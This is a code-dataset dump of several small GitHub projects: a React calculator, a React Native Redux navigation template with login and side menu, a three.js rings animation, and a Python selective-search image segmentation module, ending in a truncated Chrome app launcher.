branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>srastogi1011/calculator-react<file_sep>/src/App.js
import React, {Component} from 'react';
import './App.css';
import Display from './Components/Display';
import Button from './Components/Button';
import Clear from './Components/Clear';
class App extends Component {
constructor(props) {
super(props);
this.state = {
value: '',
storedValue: '',
binaryOperation: '',
};
}
clearInput = () => {
this.setState({value: ""})
this.setState({storedValue: ""})
this.setState({binaryOperation: ""})
}
changeInput = num => {
this.setState({value: this.state.value.concat(num)})
};
appendDecimal = num => {
if (!this.state.value.includes(".")) {
this.setState({value: this.state.value.concat(num)})
}
};x
binOp = binOp => {
this.setState({binaryOperation: binOp})
this.setState({storedValue: this.state.value})
this.setState({value: ""})
}
evaluate = () => {
switch (this.state.binaryOperation) {
case "+":
this.setState({value: parseFloat(this.state.value) + parseFloat(this.state.storedValue)})
break;
case "-":
this.setState({value: parseFloat(this.state.storedValue) - parseFloat(this.state.value)})
break;
case "*":
this.setState({value: parseFloat(this.state.value) * parseFloat(this.state.storedValue)})
break;
case "/":
if (parseFloat(this.state.value) === 0.0) {
this.setState({value: "undef"})
} else {
this.setState({value: parseFloat(this.state.storedValue) / parseFloat(this.state.value)})
}
break;
default:
break;
}
}
render() {
return (
<div className="App">
<div className="Calc">
<div className="row">
<Clear handleClick={this.clearInput}>Clear</Clear>
</div>
<div className="row">
<Button handleClick={this.binOp}>+</Button>
<Button handleClick={this.binOp}>-</Button>
<Button handleClick={this.binOp}>*</Button>
<Button handleClick={this.binOp}>/</Button>
</div>
<div className="row">
<Button handleClick={this.changeInput}>1</Button>
<Button handleClick={this.changeInput}>2</Button>
<Button handleClick={this.changeInput}>3</Button>
<Button handleClick={this.changeInput}>4</Button>
</div>
<div className="row">
<Button handleClick={this.changeInput}>5</Button>
<Button handleClick={this.changeInput}>6</Button>
<Button handleClick={this.changeInput}>7</Button>
<Button handleClick={this.changeInput}>8</Button>
</div>
<div className="row">
<Button handleClick={this.changeInput}>9</Button>
<Button handleClick={this.changeInput}>0</Button>
<Button handleClick={this.appendDecimal}>.</Button>
<Button handleClick={this.evaluate}>=</Button>
</div>
<div className="row">
<Display>{this.state.value}</Display>
</div>
</div>
</div>
);
}
}
export default App;
| 35410fea4843d693c67ed4524d2779bf3bf21233 | [
"JavaScript"
] | 1 | JavaScript | srastogi1011/calculator-react | a1e1a14a253a9987d4140a9c10320f114d94ca4d | e6ce2827bfd479c063be20ebad775c5a6ba4c3b1 |
refs/heads/master | <repo_name>mrebb/react-native-redux-sidemenu-navigator-cli<file_sep>/templates/react-native-template/components/LoginScreen.js
import React from 'react';
import PropTypes from 'prop-types';
import {StyleSheet,
Text,
Animated,
Easing,Linking,ScrollView,TextInput,Image,TouchableOpacity,
View } from 'react-native';
import Container from './styles/Container';
import Dimensions from 'Dimensions';
import { connect } from 'react-redux';
import Icon from 'react-native-vector-icons/FontAwesome';
import Label from './styles/Label'
import Button from './styles/Button'
import spinner from '../assets/loading.gif';
const DEVICE_WIDTH = Dimensions.get('window').width;
const MARGIN = 60;
class LoginScreen extends React.Component {
constructor(props) {
super(props)
this.state = {
isLoading: false
};
this.buttonAnimated = new Animated.Value(0);
this.growAnimated = new Animated.Value(0);
this._onPress = this._onPress.bind(this);
}
_onPress() {
if (this.state.isLoading) return;
this.setState({isLoading: true});
Animated.timing(this.buttonAnimated, {
toValue: 1,
duration: 200,
easing: Easing.linear,
}).start();
setTimeout(() => {
this._onGrow();
}, 2000);
setTimeout(() => {
this.props.navigation.dispatch({ type: 'Login' })
this.setState({isLoading: false});
this.buttonAnimated.setValue(0);
this.growAnimated.setValue(0);
}, 2300);
}
_onGrow() {
Animated.timing(this.growAnimated, {
toValue: 1,
duration: 200,
easing: Easing.cubic,
}).start();
}
render() {
const changeWidth = this.buttonAnimated.interpolate({
inputRange: [0, 1],
outputRange: [DEVICE_WIDTH - MARGIN, MARGIN],
});
const changeScale = this.growAnimated.interpolate({
inputRange: [0, 1],
outputRange: [1, MARGIN],
});
return (
<ScrollView style={styles.scroll}>
<Container>
<Label text="Username or Email" />
<TextInput
style={styles.textInput}
/>
</Container>
<Container>
<Label text="Password" />
<TextInput
secureTextEntry={true}
style={styles.textInput}
/>
</Container>
<Container>
<Button
styles={{button: styles.transparentButton}}
onPress={this._handlePressAsync}
>
<View style={styles.inline}>
<Icon name="github" size={30} color="#3B5699" />
<Text style={[styles.buttonBlueText, styles.buttonBigText]}> Connect </Text>
<Text style={styles.buttonBlueText}>with Github</Text>
</View>
</Button>
</Container>
<View style={styles.footer}>
<View style={styles.container}>
<Animated.View style={{width: changeWidth}}>
<TouchableOpacity
style={styles.button}
onPress={this._onPress}
activeOpacity={1}>
{this.state.isLoading ? (
<Image source={spinner} style={styles.image} />
) : (
<View style={styles.inline} >
<Text style={styles.text}>LOGIN</Text></View>
)}
</TouchableOpacity>
<Animated.View
style={[styles.circle, {transform: [{scale: changeScale}]}]}
/>
</Animated.View>
</View>
<Container>
<Button
label="CANCEL"
styles={{label: styles.buttonBlackText}}
onPress={() => this.props.navigation.dispatch({ type: 'Home' })}/>
</Container>
</View>
</ScrollView>
)
}
_handlePressAsync = async () => {
let githubURL = 'https://github.com/login/oauth/authorize';
Linking.openURL(githubURL);
// Continue logic here
}
_addLinkingListener = () => {
};
_removeLinkingListener = () => {
};
};
LoginScreen.propTypes = {
navigation: PropTypes.object.isRequired,
dispatch: PropTypes.func.isRequired,
};
LoginScreen.navigationOptions = {
headerTitle: <View style={{ flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',}} >
<Icon name="sign-in" size={40} color="#3B5699" /><Text style={{color: 'white',
fontWeight:'bold',
fontSize:20
}}> LOGIN </Text></View>,
};
//
const mapStateToProps = state => ({
isLoggedIn: state.auth.isLoggedIn,
});
export default connect(mapStateToProps)(LoginScreen);
const styles = StyleSheet.create({
container: {
flex: 1,
top: -20,
alignItems: 'center',
justifyContent: 'flex-start',
},
textInput: {
height: 80,
fontSize: 30,
backgroundColor: '#FFF'
},
inline: {
flexDirection: 'column',
alignItems: 'center',
justifyContent: 'center',
},
scroll: {
backgroundColor: '#E1D7D8',
padding: 30,
flexDirection: 'column'
},
button: {
alignItems: 'center',
justifyContent: 'center',
backgroundColor: '#F035E0',
height: MARGIN,
borderRadius: 20,
zIndex: 100,
},
circle: {
height: MARGIN,
width: MARGIN,
marginTop: -MARGIN,
borderWidth: 1,
borderColor: '#F035E0',
borderRadius: 100,
alignSelf: 'center',
zIndex: 99,
backgroundColor: '#F035E0',
},
text: {
color: 'white',
backgroundColor: 'transparent',
},
logo: {
color: 'white',
fontWeight:'bold',
backgroundColor: 'transparent',
},
image: {
width: 24,
height: 24,
},
buttonWhiteText: {
fontSize: 20,
color: '#FFF',
},
transparentButton: {
marginTop: 30,
borderColor: '#3B5699',
borderWidth: 2
},
buttonBlueText: {
fontSize: 20,
color: '#3B5699'
},
textInput: {
height: 80,
fontSize: 30,
backgroundColor: '#FFF'
},
label: {
color: '#0d8898',
fontSize: 20
},
alignRight: {
alignSelf: 'flex-end'
},
scroll: {
backgroundColor: '#c2a4e8',
padding: 30,
flexDirection: 'column'
},
buttonBigText: {
fontSize: 20,
fontWeight: 'bold'
},
inline: {
flexDirection: 'row'
},
buttonBlackText: {
fontSize: 20,
color: '#595856'
},
primaryButton: {
backgroundColor: '#34A853'
},
footer: {
marginTop: 75
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
input: {
margin: 15,
height: 40,
borderColor: '#7a42f4',
borderWidth: 1
},
submitButton: {
backgroundColor: '#7a42f4',
padding: 10,
margin: 15,
height: 40,
},
submitButtonText:{
color: 'white'
}
});<file_sep>/templates/react-native-template/reducer/auth.test.js
import authReducer, {Login,Logout} from './auth.js';
describe('auth state', () => {
describe('auth actions', () => {
it('should create Login action', () => {
const auth = { type: 'Login' };
const action = Login();
expect(action.type).toBe(auth.type);
});
it('should create Logout action', () => {
const auth = { type: 'Logout' };
const action = Logout();
expect(action.type).toBe(auth.type);
});
})
describe('auth reducer', () => {
it('should update Login state when user logs in', () => {
let action = {type:'Login'};
let initialState = {isLoggedIn: false}
let state = authReducer(initialState, action);
expect(state.isLoggedIn).toBe(true);
});
it('should update Login state when user logs out', () => {
let action = {type:'Logout'};
let initialState = {isLoggedIn: true}
let state = authReducer(initialState, action);
expect(state.isLoggedIn).toBe(false);
});
});
})
<file_sep>/templates/react-native-template/components/SideMenuBar.js
import React from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import {NavigationActions} from 'react-navigation';
import {
Dimensions,
StyleSheet,
ScrollView,
View,
Image,
Text,
} from 'react-native';
const window = Dimensions.get('window');
class Menu extends React.Component{
constructor(props){
super(props)
this.state={
isLoading:true,
uri:'https://pickaface.net/gallery/avatar/Opi51c74d0125fd4.png',
name:'TEST USER'
}
}
dispathBoth=(item)=>{
this.props.onItemSelected(item)
this.props.dispatch(NavigationActions.navigate({ routeName: item }))
}
render(){
if (!this.props.isLoggedIn) {
return (
<ScrollView scrollsToTop={false} style={styles.menu}>
<Text
onPress={()=>this.dispathBoth('Home')}
style={styles.home}
>Home
</Text>
<Text
onPress={()=>this.dispathBoth('Login')}
style={styles.login}
>Login
</Text>
</ScrollView>
)
}
return (
<ScrollView scrollsToTop={false} style={styles.menu}>
<View style={styles.avatarContainer}>
<Image
style={styles.avatar}
source={{uri:this.state.uri}}
/>
<Text style={styles.name}>{this.state.name}</Text>
</View>
<Text
onPress={()=>this.dispathBoth('Home')}
style={styles.home}
>
Home
</Text>
<Text
onPress={()=>this.dispathBoth('Screen1')}
style={styles.item}
>
Screen1
</Text>
<Text
onPress={()=>this.dispathBoth('Screen2')}
style={styles.item}
>
Screen2
</Text>
<Text
onPress={()=>this.dispathBoth('Screen3')}
style={styles.item}
>
Screen3
</Text>
<Text
onPress={()=>this.dispathBoth('Screen4')}
style={styles.item}
>
Screen4
</Text>
<Text
onPress={()=>this.dispathBoth('Screen5')}
style={styles.item}
>
Screen5
</Text>
</ScrollView>
);
}
}
Menu.propTypes = {
isLoggedIn: PropTypes.bool.isRequired,
dispatch: PropTypes.func.isRequired,
onItemSelected: PropTypes.func.isRequired,
};
const mapStateToProps = state => ({
isLoggedIn: state.auth.isLoggedIn,
});
export default connect(mapStateToProps)(Menu);
const styles = StyleSheet.create({
menu: {
flex: 1,
width: window.width,
height: window.height,
backgroundColor: '#9671bc',
padding: 20,
},
avatarContainer: {
marginBottom: 20,
marginTop: 20,
},
avatar: {
width: 48,
height: 48,
borderRadius: 24,
flex: 1,
},
name: {
position: 'absolute',
left: 70,
top: 20,
},
item: {
flex: 1,
fontSize: 30,
fontWeight: '400',
paddingTop: 50,
textDecorationLine: 'underline' ,
color: '#FFFFFF',
marginHorizontal: '5%',
},
home: {
flex: 1,
color: '#FFFFFF',
fontSize: 30,
marginHorizontal: '5%',
fontWeight: '400',
paddingTop: 35,
flexDirection: 'row',
textDecorationLine: 'underline' ,
},
login: {
flex: 1,
color: '#FFFFFF',
fontSize: 30,
marginHorizontal: '5%',
textDecorationLine: 'underline' ,
fontWeight: '400',
paddingTop: 50,
},
});<file_sep>/README.md
# React Native Redux Navigation with Side Menu & Authentication flow enabled
## A starter boilerplate code for a mobile app using React Native, Redux, Authentication, Side-Menu and React Navigation.
## Redux and react-navigation configurations are wired up, so the developer can simply install it globally or download the templates folder from github repo to local project directory.
## (also supporting RN 0.57+)
## Demo
<img src="https://github.com/mrebb/react-native-redux-sidemenu-navigator-cli/blob/master/templates/react-native-template/assets/demo.gif?raw=true" width="360">
## Requirements
- [Node](https://nodejs.org) `6.x` or newer
- [React Native](http://facebook.github.io/react-native/docs/getting-started.html) for development
- [Xcode](https://developer.apple.com/xcode/) for iOS development
- [Android Studio](https://developer.android.com/studio/index.html) for Android development
See [Getting Started](https://facebook.github.io/react-native/docs/getting-started.html) to install requirement tools.
## Stack / Libraries
- [React Native](https://facebook.github.io/react-native/) `0.57.3` for building native apps using react
- [Redux](https://redux.js.org/) `^4.0.0` a predictable state container for Javascript apps
- [React-Redux](https://github.com/reduxjs/react-redux) `^5.0.7` Official React bindings for redux
- [React Navigation](https://reactnavigation.org/) `^2.18.0` a router based on new React Native Navigation API
- [Babel](http://babeljs.io/) `6.x.x` for ES6+ support
## Get Started
#### 1. Installation using CLI
For installing CLI app through npm
```sh
$ npm install -g react-native-redux-sidemenu-navigator-cli
```
For installing CLI app through yarn
```sh
$ yarn global add react-native-redux-sidemenu-navigator-cli
```
a) For Existing projects created using react-native-cli , run following commands
```sh
$ cd <your project root directory>
$ react-native-redux
? What project template would you like to generate? (Use arrow keys)
❯ react-native-template (Select this with 'enter' key)
? Project name: <Enter project/folder name you wish the template files to be copied into>
$ cd <folder name> to see the boiler plate code and copy the files back into your project root directory
$ delete old package.json and app.js or merge dependecies of package.json from existing project and boiler plate code
$ npm i
```
b) To start new project using boiler plate code, run following commands
```sh
$ npm i -g react-native
$ react-native init demo
$ cd demo
$ rm -rf app.js
$ rm -rf package.json
$ react-native-redux
? What project template would you like to generate? (Use arrow keys)
❯ react-native-template (Select this with 'enter' key)
? Project name: <Enter project/folder name you wish the template files to be copied into>
$ cd <folder name> to see the boiler plate code and copy the files back into your project root directory
$ cd .. <to go back to root folder>
$ update `name` field inside package.json to reflect desired <project name>
$ npm install
```
#### 2. Manual process: On the command prompt run the following commands and copy the boiler-plate code into your project directory
```sh
$ git clone https://github.com/mrebb/react-native-redux-sidemenu-navigator-cli.git
$ cd templates/react-native-template
```<file_sep>/templates/react-native-template/reducer/auth.js
const initialAuthState = { isLoggedIn: false };
//reducer
export default function reducer(state = initialAuthState, action) {
switch (action.type) {
case 'Login':
return { ...state, isLoggedIn: true };
case 'Logout':
return { ...state, isLoggedIn: false };
default:
return state;
}
}
//action creators
export const Login = ()=>{
return {type:'Login'}
}
export const Logout = ()=>{
return {type:'Logout'}
}
| 477aec7414263f4d3c187baccfbafbf228690990 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | mrebb/react-native-redux-sidemenu-navigator-cli | 669e5eebb4ec6ed2d86e96a5d135a79d887d0ca2 | 6ff0d4bfe356b1d3ea72e6538ece08d90869eecc |
refs/heads/master | <file_sep>import React, { useRef, useMemo } from "react";
import { useFrame, useThree } from "react-three-fiber";
const Circle = ({ mouse }) => {
const material = useRef();
const mesh = useRef();
const { viewport } = useThree();
const next_x = useMemo(() => mouse.x * (viewport.width / 2), [
mouse.x,
viewport.width,
]);
const next_y = useMemo(() => mouse.y * (viewport.height / 2), [
mouse.y,
viewport.height,
]);
let i = 0;
useFrame(() => {
mesh.current.position.x = next_x;
mesh.current.position.y = next_y;
if (i > 0 && i < 10) {
material.current.visible = true;
} else if (i > 10) {
material.current.visible = false;
i = -10;
}
i++;
});
return (
<mesh ref={mesh}>
<circleGeometry attach="geometry" args={[0.1, 20]} />
<meshPhongMaterial ref={material} attach="material" color={"#F20574"} />
</mesh>
);
};
export default Circle;
<file_sep>import React, { useState, useEffect } from "react";
import ReactDOM from "react-dom";
import "./index.css";
import { Canvas } from "react-three-fiber";
import * as THREE from "three";
//Components
import Rings from "./components/Rings";
import Circle from "./components/Circle";
import Line from "./components/Line";
const App = () => {
const [mouse, setMouse] = useState({ x: 0, y: 0 });
const handleClick = (e) => {
setMouse({
x: (e.clientX / window.innerWidth) * 2 - 1,
y: -(e.clientY / window.innerHeight) * 2 + 1,
});
};
useEffect(() => {
document.body.style.cursor =
"url('https://raw.githubusercontent.com/chenglou/react-motion/master/demos/demo8-draggable-list/cursor.png') 39 39, auto";
}, []);
return (
<Canvas
camera={{ fov: 100, position: [0, 0, 3] }}
onCreated={({ gl }) => {
gl.toneMapping = THREE.Uncharted2ToneMapping;
gl.setClearColor(new THREE.Color("#424242"));
}}
onClick={(e) => handleClick(e)}
>
<pointLight
color={"#ffffff"}
intensity={1}
position={[10, 10, 10]}
decay={1}
/>
<ambientLight color={"#ffffff"} intensity={1} />
<Line mouse={mouse} />
<Rings mouse={mouse} />
<Circle mouse={mouse} />
</Canvas>
);
};
ReactDOM.render(<App />, document.getElementById("root"));
<file_sep>import React, { useMemo } from "react";
import * as THREE from "three";
import { useFrame, useThree } from "react-three-fiber";
const Line = ({ mouse }) => {
const { viewport } = useThree();
const startP = useMemo(() => new THREE.Vector3(0, 0, 0), []);
const target = useMemo(() => new THREE.Vector3(0, 0, 0), []);
const next_x = useMemo(() => mouse.x * (viewport.width / 2), [
mouse.x,
viewport.width,
]);
const next_y = useMemo(() => mouse.y * (viewport.height / 2), [
mouse.y,
viewport.height,
]);
useFrame(() => {
if (next_x !== target.x) {
target.x = next_x;
target.y = next_y;
}
// console.log(target);
});
return (
<line>
<geometry attach="geometry" vertices={[startP, target]} onUpdate={self => (self.verticesNeedUpdate = true)} />
<lineBasicMaterial attach="material" color="#F20574" />
</line>
);
};
export default Line;
<file_sep>https://codesandbox.io/s/circles-lerp-isj9n
This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).
- git clone
- yarn
- yarn start<file_sep>import React, { useRef, useMemo } from "react";
import { useFrame, useThree } from "react-three-fiber";
import lerp from "lerp"; /*Linear interpolation*/
const Ring = ({ args, color, mouse, t }) => {
const mesh = useRef();
const { viewport } = useThree();
const next_x = useMemo(() => mouse.x * (viewport.width / 2), [
mouse.x,
viewport.width,
]);
const next_y = useMemo(() => mouse.y * (viewport.height / 2), [
mouse.y,
viewport.height,
]);
let t_aux = 0;
useFrame(() => {
if (mesh.current.position.x !== next_x) {
mesh.current.position.x = lerp(mesh.current.position.x, next_x, t_aux);
mesh.current.position.y = lerp(mesh.current.position.y, next_y, t_aux);
t_aux += t;
}
mesh.current.rotation.z += 0.01;
});
return (
<mesh ref={mesh}>
<ringGeometry attach="geometry" args={args} />
<meshPhongMaterial attach="material" color={color} />
</mesh>
);
};
export default Ring;
<file_sep>import React from "react";
import Ring from "./Ring";
const Rings = ({ mouse }) => {
return (
<group>
<Ring args={[0.8, 1.0, 10]} color={"#000429"} mouse={mouse} t={0.05} />
<Ring args={[0.6, 0.8, 10]} color={"#060940"} mouse={mouse} t={0.02} />
<Ring args={[0.4, 0.6, 10]} color={"#2B1773"} mouse={mouse} t={0.01} />
<Ring args={[0.2, 0.4, 10]} color={"#7D52D9"} mouse={mouse} t={0.005} />
</group>
);
};
export default Rings;
| c6983cb447215a226101d28972f4730cd7311279 | [
"JavaScript",
"Markdown"
] | 6 | JavaScript | rosig/React-ThreeJS-Lerp_Rings | 0db9a46150573c37665511be3e4b96c592c06e4b | a1b48a0d90ebaa869627f1ac3b479079aaf0ae4d |
refs/heads/master | <file_sep># segmentation-as-selective-search
<file_sep>import numpy as np
from skimage import segmentation
from skimage.feature import local_binary_pattern
from skimage.color import rgb2hsv
from sklearn.preprocessing import normalize
from scipy.ndimage.morphology import binary_dilation
def initial_regions(image, scale):
init_segments = segmentation.felzenszwalb(image, scale=scale, sigma=0.8, min_size=1000)
channels = [image[:, :, ch] for ch in np.arange(image.shape[2])]
channels.append(init_segments)
return np.stack(channels, axis=2)
# A color histogram of 25 bins is calculated for each channel of the image
def color_hist(reg_mask, bins=25, lower_range=0.0, upper_range=255.0):
# reg_mask.shape = (region size, channels)
hist = []
for channel in np.arange(reg_mask.shape[1]):
hist.append(np.histogram(reg_mask[:, channel], bins, (lower_range, upper_range))[0])
hist = np.concatenate(hist, axis=0)
hist_norm = normalize(hist.reshape(1, -1), norm='l1')
return hist_norm.ravel()
def texture_descriptor(img):
# we use LBP (local binary pattern)
# LBP is an invariant descriptor that can be used for texture classification
text_img = []
for channel in np.arange(img.shape[2]):
text_img.append(local_binary_pattern(img[:,:,channel], 24, 3))
return np.stack(text_img, axis=2)
def texture_hist(text_reg_mask, bins=80, lower_range=0.0, upper_range=255.0):
# text_reg_mask.shape = (region size, channels)
hist = []
for channel in np.arange(text_reg_mask.shape[1]):
hist.append(np.histogram(text_reg_mask[:, channel], bins, (lower_range, upper_range))[0])
hist = np.concatenate(hist, axis=0)
hist_norm = normalize(hist.reshape(1, -1), norm='l1')
return hist_norm.ravel()
def add_prop_reg(img_and_seg, R):
R_and_prop = R
segments = img_and_seg[:,:,3]
text_img = texture_descriptor(img_and_seg[:,:,:3])
for seg in np.unique(segments):
# color histogram
reg_mask = img_and_seg[:, :, :3][segments == seg]
col_hist = color_hist(reg_mask)
# texture histogram
text_reg_mask = text_img[segments == seg]
text_hist = texture_hist(text_reg_mask)
R_and_prop[seg]["col_hist"] = col_hist
R_and_prop[seg]["text_hist"] = text_hist
return R_and_prop
def extract_regions(img_and_seg):
R = []
segments = img_and_seg if len(img_and_seg.shape) == 2 else img_and_seg[:,:,3]
for r in np.unique(segments):
i = np.asarray(np.where(segments == r))
x_min = i[1,:].min()
x_max = i[1,:].max()
y_min = i[0,:].min()
y_max = i[0,:].max()
width = (x_max - x_min) + 1
height = (y_max - y_min) + 1
size = i.shape[1]
R.append({"x_min": x_min, "x_max": x_max, "y_min": y_min, "y_max": y_max, "width": width, "height": height, "size": size, "label": r})
return R
def get_bb(window, label):
i = np.asarray(np.where(window == label))
x_min = i[1, :].min()
x_max = i[1, :].max()
y_min = i[0, :].min()
y_max = i[0, :].max()
return x_min, x_max, y_min, y_max
def find_neighbours(reg_bb, label):
mask = np.zeros(reg_bb.shape)
mask[np.where(reg_bb == label)] = 1
struct = np.ones((3, 3))
mask_dilated = binary_dilation(mask, structure=struct)
mask[np.where(mask_dilated == False)] = reg_bb[np.where(mask_dilated == False)]
mask[np.where(mask_dilated == True)] = label
dif = abs(mask - reg_bb)
neig = np.unique(reg_bb[np.where(dif != 0)]).tolist()
return neig
def extract_neighbors(img_and_seg, regions):
N = [] # region, neighbours
h = img_and_seg.shape[0] # rows
w = img_and_seg.shape[1] # columns
segments = img_and_seg[:, :, 3]
for r in regions:
x_min = r["x_min"] - 1 if r["x_min"] != 0 else r["x_min"] # +1 padding
x_max = r["x_max"] + 2 if r["x_max"] != w else r["x_max"] # +1 padding
y_min = r["y_min"] - 1 if r["y_min"] != 0 else r["y_min"] # +1 padding
y_max = r["y_max"] + 2 if r["y_max"] != h else r["y_max"] # +1 padding
reg_bb = segments[y_min:y_max, x_min:x_max] # region bounding box
neig = find_neighbours(reg_bb, r["label"])
N.append({"region": r["label"], "neig": neig})
return N
def calc_BB(r1, r2):
# calculate the tight bounding box around r1 and r2
x_min_BB = min(r1["x_min"], r2["x_min"])
x_max_BB = max(r1["x_max"], r2["x_max"])
y_min_BB = min(r1["y_min"], r2["y_min"])
y_max_BB = max(r1["y_max"], r2["y_max"])
BB_size = (y_max_BB - y_min_BB) * (x_max_BB - x_min_BB)
return x_min_BB, x_max_BB, y_min_BB, y_max_BB, BB_size
def sim_size(r1, r2, img_size):
# calculate the size similarity over the image
r1_size = r1['size']
r2_size = r2['size']
return 1.0 - ((r1_size + r2_size) / img_size)
# Color similarity of two regions is based on histogram intersection
def sim_color(r1, r2):
hist_r1 = r1['col_hist']
hist_r2 = r2['col_hist']
return sum([min(a,b) for a,b in zip(hist_r1, hist_r2)])
def sim_texture(r1, r2):
hist_r1 = r1['text_hist']
hist_r2 = r2['text_hist']
return sum([min(a, b) for a, b in zip(hist_r1, hist_r2)])
def sim_fill(r1, r2, img_size):
# measure how well region r1 and r2 fit into each other
r1_size = r1['size']
r2_size = r2['size']
_, _, _, _, BB_size = calc_BB(r1, r2)
return 1.0 - ((BB_size - r1_size - r2_size) / img_size)
def calc_sim(r1, r2, img_and_seg, measure=(1,1,1,1)):
# measure = (s, c, t, f)
s_size, s_color, s_texture, s_fill = 0, 0, 0, 0
img_size = img_and_seg.shape[0] * img_and_seg.shape[1]
if measure[0]:
s_size = sim_size(r1, r2, img_size)
if measure[1]:
s_color = sim_color(r1, r2)
if measure[2]:
s_texture = sim_texture(r1, r2)
if measure[3]:
s_fill = sim_fill(r1, r2, img_size)
return (s_size + s_color + s_texture + s_fill) / np.nonzero(measure)[0].size
# calculate initial similarities
def initial_sim(img_and_seg, R, N, measure):
S = []
for r in N:
r1 = [x for x in R if x['label'] == r["region"]][0]
for n in r["neig"]:
r2 = [x for x in R if x['label'] == n][0]
if n > r["region"]:
s = calc_sim(r1, r2, img_and_seg, measure=measure)
S.append({"regions": [r["region"], n], "sim": s})
return S
# calculate new region similarities
def new_sim(img_and_seg, R, rt, measure):
S = []
r1 = [x for x in R if x['label'] == rt["region"]][0]
for n in rt["neig"]:
r2 = [x for x in R if x['label'] == n][0]
s = calc_sim(r1, r2, img_and_seg, measure=measure)
S.append({"regions": [rt["region"], n], "sim": s})
return S
def merge_regions(img_and_seg, regions, R, N):
ri = [x for x in R if x['label'] == regions[0]][0]
rj = [x for x in R if x['label'] == regions[1]][0]
idx_ri = [i for i, x in enumerate(R) if x['label'] == regions[0]][0]
idx_rj = [i for i, x in enumerate(R) if x['label'] == regions[1]][0]
# new region rt = ri UNION rj
img_and_seg[:, :, 3][img_and_seg[:, :, 3] == regions[1]] = regions[0] # rt = ri + (rj = ri)
x_min_rt, x_max_rt, y_min_rt, y_max_rt, _ = calc_BB(ri, rj)
width_rt = (x_max_rt - x_min_rt) + 1
height_rt = (y_max_rt - y_min_rt) + 1
size_rt = ri["size"] + rj["size"]
col_hist_rt = (ri["size"] * ri["col_hist"] + rj["size"] * rj["col_hist"]) / size_rt
col_hist_rt = normalize(col_hist_rt.reshape(1, -1), norm='l1')[0]
text_hist_rt = (ri["size"] * ri["text_hist"] + rj["size"] * rj["text_hist"]) / size_rt
text_hist_rt = normalize(text_hist_rt.reshape(1, -1), norm='l1')[0]
R[idx_ri]["x_min"] = x_min_rt
R[idx_ri]["x_max"] = x_max_rt
R[idx_ri]["y_min"] = y_min_rt
R[idx_ri]["y_max"] = y_max_rt
R[idx_ri]["width"] = width_rt
R[idx_ri]["height"] = height_rt
R[idx_ri]["size"] = size_rt
R[idx_ri]["col_hist"] = col_hist_rt
R[idx_ri]["text_hist"] = text_hist_rt
# neighborhood
idxN_ri = [i for i, x in enumerate(N) if x['region'] == regions[0]][0]
idxN_rj = [i for i, x in enumerate(N) if x['region'] == regions[1]][0]
N[idxN_ri]["neig"].remove(regions[1])
N[idxN_rj]["neig"].remove(regions[0])
for n in N[idxN_rj]["neig"]:
if n not in N[idxN_ri]["neig"]:
N[idxN_ri]["neig"].append(n)
idx_n = [i for i, x in enumerate(N) if x['region'] == n][0]
N[idx_n]["neig"].remove(regions[1])
if regions[0] not in N[idx_n]["neig"]:
N[idx_n]["neig"].append(regions[0])
del R[idx_rj]
del N[idxN_rj]
return img_and_seg, R, N
#%%
def selective_search(image, colour_space="hsv", scale=20, measure=(1,1,1,1), sim_threshold=0.65):
"""
Parameters
----------
:param image: (width, height, 3) ndarray
Input image.
:param colour_space: {"rgb", "hsv"}
Colour space to perform our hierarchical grouping algorithm.
:param scale: float
Free parameter. Higher means larger clusters in the initial segmentation (Felsenszwalb's segmentation).
:param measure: (size, colour, texture, fill) tuple
Define the similarity measures to use.
:param sim_threshold: float
Indicates the threshold of similarity between regions in range [0,1].
Returns
-------
:segment_mask: (width, height) ndarray
Ndarray with the same width and height that the input image with labeled regions.
:regions: list
List of dict with the properties of the regions
"""
if colour_space == "hsv":
image = rgb2hsv(image)
image = image - image.min() # min = 0
image = image / image.max() # max = 1
image = image * 255
image = image.astype(np.uint8)
# obtain initial regions
# return image and initial segments, shape[2] = (channel1, channel2, channel3, segments)
img_and_seg = initial_regions(image, scale)
print(len(np.unique(img_and_seg[:,:,3])), "initial regions")
R = extract_regions(img_and_seg)
R = add_prop_reg(img_and_seg, R)
# extract neighboring regions
N = extract_neighbors(img_and_seg, R)
# calculate similarity
init_S = initial_sim(img_and_seg, R, N, measure)
# hierarchical grouping algorithm
under_thres = False
while under_thres == False:
# get highest similarity
s = [x['sim'] for x in init_S]
max_sim = max(s)
if max_sim >= sim_threshold:
regions = init_S[np.where(s == max_sim)[0][0]]["regions"]
# merge corresponding regions
img_and_seg, R, N = merge_regions(img_and_seg, regions, R, N)
# remove similarities
del_ind = []
for i, r in enumerate(init_S):
if any([regions[0] in r["regions"], regions[1] in r["regions"]]):
del_ind.append(i)
init_S = np.delete(init_S, del_ind).tolist()
# calculate similarity set between rt and its neighbours
rt = [x for x in N if x['region'] == regions[0]][0]
new_S = new_sim(img_and_seg, R, rt, measure)
init_S = init_S + new_S
else:
under_thres = True
return img_and_seg[:, :, 3], R
<file_sep>import numpy as np
import matplotlib.pyplot as plt
from matplotlib.patches import Rectangle
from skimage import data
from imageio import imread
from datetime import datetime
from selective_search import selective_search
img = data.coffee()
# img = data.astronaut()
# img = data.chelsea()
# img = imread("image1.jpg")
t1 = datetime.now()
segment_mask, R = selective_search(img, scale=150, sim_threshold=0.65)
t2 = datetime.now()
print(t2-t1)
fig = plt.figure()
ax1 = plt.subplot(121)
plt.imshow(img)
for r in R:
rect = Rectangle((r['x_min'], r['y_min']), r['width'], r['height'], fill=False, color='red', linewidth=1.5)
ax1.add_patch(rect)
ax2 = plt.subplot(122)
plt.imshow(segment_mask)
plt.show()
| c0570a19600decf2a72c480bfc094eb0b25fa198 | [
"Markdown",
"Python"
] | 3 | Markdown | ranchirino/segmentation-as-selective-search | 5563d09e7db2a737817cd641f604ccb816646b73 | bfafa55a505650d6c068ed596ff7d1a08989a2cd |
refs/heads/master | <repo_name>gilbertgabog/tomato<file_sep>/main.js
chrome.app.runtime.onLaunched.addListener(function() {
// Center window on screen.
chrome.app.window.create('build.html', {
'bounds': {
'width': 250,
'height': 150
},
'resizable': false,
